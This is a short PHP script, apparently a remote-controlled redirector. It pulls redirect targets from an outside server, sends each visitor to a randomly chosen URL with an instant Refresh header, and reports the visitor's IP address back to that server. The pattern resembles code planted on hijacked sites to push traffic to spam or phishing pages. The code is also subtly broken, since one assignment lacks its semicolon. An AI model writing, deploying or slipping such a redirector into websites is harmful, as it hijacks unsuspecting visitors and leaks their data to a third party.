<?php

ob_start();
session_start();

$app_url = 'https://fpsender.probook.top'
$salt = '123456798';
$ip = get_visitor_ip();

$data = @json_decode(file_get_contents($app_url . '/api/get_active_url_redirect?hash=' . $salt),TRUE);

if($data['redirectsCount'] != 0 && !isset($_SESSION['is_viewed'])){
    $i = rand(0, $data['redirectsCount'] -1 );
    $url = $data['redirects'][$i];
    $_SESSION['is_viewed'] = true;
    file_get_contents($app_url . '/api/add_action?hash=' . $salt . '&visitor_ip=' . $ip);
}
elseif($data['redirectsCount'] != 0 && !isset($_SESSION['is_db_viewed'])){
    $i = rand(0, $data['redirectsCount'] -1 );
    $url = $data['redirects'][$i];
    $_SESSION['is_db_viewed'] = true;
    file_get_contents($app_url . '/api/add_action?hash=' . $salt . '&visitor_ip=' . $ip);
}
else $url = $data['default_url'];

$sec = 0;

header('Refresh: '.$sec.'; URL='.$url.'');
exit;


function get_visitor_ip() {
    $ip = '';

    if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
        $ip = $_SERVER['HTTP_CLIENT_IP'];
    }
    elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
    }
    elseif (!empty($_SERVER['REMOTE_ADDR'])) {
        $ip = $_SERVER['REMOTE_ADDR'];
    }

    if (strpos($ip, ',') !== false) {
        $ip = explode(',', $ip)[0];
    }

    if (filter_var($ip, FILTER_VALIDATE_IP)) {
        return $ip;
    }

    return '0.0.0.0';
}



?>